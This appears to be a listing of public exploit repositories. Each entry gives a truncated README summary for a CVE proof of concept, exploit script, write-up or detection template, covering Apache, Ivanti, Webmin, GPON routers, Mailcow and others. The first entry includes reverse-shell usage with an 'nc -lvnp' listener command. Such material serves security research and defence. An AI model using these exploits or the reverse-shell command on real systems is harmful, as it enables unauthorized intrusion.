CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI Usage : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT More info: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 9999...

php2shell

php2shell vulnerabilities CVE-2026-109618, CVE-2026-109619 Operational information: 28 October 2026 16:46 CET Software list last status update: 30 October 2026 09:14 CET TLP:CLEAR This repository contains operational information regarding the critical PHP vulnerabilities tracked by CERT-EU as...

CVE-2025-54253-Inside-the-Adobe-AEM-Forms-Zero-Day

CVE-2025-54253: Inside the Adobe AEM-Forms Zero-Day — What Pentesters & Defenders Must Do TL;DR: Adobe Experience Manager AEM Forms on JEE ≤ 6.5.23.0 contained a critical, network-accessible flaw CVE-2025-54253 that allows unauthenticated remote code execution via misused Struts/OGNL endpoints. A...

CVE-2022-38694_unlock_bootloader

CVE-2022-38694 An attacker with physical access to the device can overwrite a function pointer somewhere in the BootROM data section or a return address stored on the stack and execute their own code with BootROM privileges. For detailed information, read the article by NCC Group. Quick links: To...

CVE-2019-7238

CVE-2019-7238 Nexus Repository Manager 3 Remote Code Execution without authentication 3.15.0 found by Rico Tencent Security Yunding Lab and @voidfyoo Detailed analysis english: https://chybeta.github.io/2019/02/18/Nexus-Repository-Manager-3-RCE-%E5%88%86%E6%9E%90-%E3%80%90CVE-2019-7238%E3%80%91/...

GPON_RCE

GPONRCE Exploit for Remote Code Execution on GPON home routers CVE-2018-10562 written in Python...

CVE-2022-36446-Webmin-Software-Package-Updates-RCE

A Python script to exploit CVE-2022-36446 Software Package Updates RCE Authenticated on Webmin 1.997. Features Supports HTTP and HTTPS even with self-signed certificates with --insecure. Single command execution with --command option. Interactive console with --interactive option. Usage $...

CVE-2022-28113

=============== Fantec MWiD25-DS Writeup for CVE-2022-28113 by @code-byter ========================== This is a writeup of exploiting the Fantec MWiD25-DS Travel Router Firmware version: 2.000.030. This vulnerability allows any unauthorized user to execute arbitrary commands as root user. A...

CVE-2025-24016-Nuclei-Template

CVE-2025-24016 Wazuh Unsafe Deserialization RCE Detection This repository contains a Nuclei template to detect the unsafe deserialization vulnerability in Wazuh servers, identified as CVE-2025-24016. Template Details id: wazuh-unsafe-deserialization info: name: "Wazuh Unsafe Deserialization RCE...

SAP_EEM_CVE-2020-6207

PoC for CVE-2020-6207 Missing Authentication Check in SAP Solution Manager This script allows to check and exploit missing authentication checks in SAP EEM servlet tcsmdagentapplicationeem that lead to RCE on SAP SMDAgents connected to SAP Solution Manager Original finding: Pablo Artuso Yvan 'igg...

cve-2025-66478

CVE-2025-55182 This repository provides a minimal intentionally vulnerable environment to test security scanners against the recent critical RCE vulnerabilities affecting React Server Components and Next.js. !Warning This setup is intentionally vulnerable and must never be exposed to the public...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805CVE-2024-21887 The script in this repository checks and exploits CVE-2023-46805 Auth Bypass and CVE-2024-21887 Remote Code Execution vulnerabilities specified in the Ivanti Connect Secure product exist. You can check vulnerability details this link...

csv-plus_vulnerability

csv-plusvulnerability 👻 2-Click Arbitrary Code Execution Vulnerability. CVE-2022-21241 ⚠ This PoC was created to alert users and investigate vulnerabilities in their own CSV+, and is prohibited to be used for attacks. Vulnerability The following versions are vulnerable. CSV+ click me 👻...

Project-Project-Chimera-Exploiting-a-Modern-WordPress-XXE-to-Pillage-Secrets-

Project Goal: To demonstrate a complete attack chain on a vulnerable WordPress installation, exploiting CVE-2021-29447 XXE in media library to achieve remote code execution and full system compromise. Phase 1: Reconnaissance & Enumeration Network Scanning with Nmap: bash Quick SYN scan to discove...

CVE-2024-30270-PoC

This script is designed to exploit vulnerabilities in a Mailcow instance using Cross-Site Scripting XSS and Remote Code Execution RCE. The script aims to: Inject an XSS payload into a Mailcow web interface. Use the XSS payload to execute unauthorized actions. Achieve RCE by overwriting a server...

eLabFTW-1.8.5-EntityController-Arbitrary-File-Upload-RCE

Exploit Title : eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE Date : 5/18/19 Exploit Author : liquidsky Joseph McPeters Vulnerable Software : eLabFTW 1.8.5 Vendor Homepage : https://www.elabftw.net/ Version : 1.8.5 Software Link : https://doc.elabftw.net/ Tested On : Linux / PHP...

CVE-2022-30136

CVE-2022-30136 Windows Network File System Remote exploit PoC author: Ricardo Narvaja For demonstration purposes only. Complete exploit works on vulnerable Windows Server systems. Checkout the writeup Analysis of CVE-2022-30136 “Windows Network File System Vulnerability“. Usage Analysis of...

CVE-2024-32002

CVE-2024-32002 RCE PoC Overview This repository contains a Proof of Concept PoC for CVE-2024-32002, a Remote Code Execution RCE vulnerability in Git submodules. The exploit demonstrates how a malicious payload can be triggered via a recursive clone of a Git repository. Repository Setup Before...

-CVE-2023-33177-

Xibo CMS CVE-2023-33177 Vulnerability Tester Automated security testing tool for CVE-2023-33177 - Zip Slip Path Traversal vulnerability in Xibo CMS that leads to Remote Code Execution RCE. ⚠️ Disclaimer This tool is for educational and authorized testing purposes only. Only use on systems you own...

CVE-2025-2783

CVE-2025-2783 Simulated PoC for CVE-2025-2783 — a sandbox escape vulnerability in Chrome's Mojo IPC. Includes phishing delivery, memory fuzzing, IPC simulation, and logging. Safe for red team demos, detection engineering, and educational use. This project simulates a safe and educational...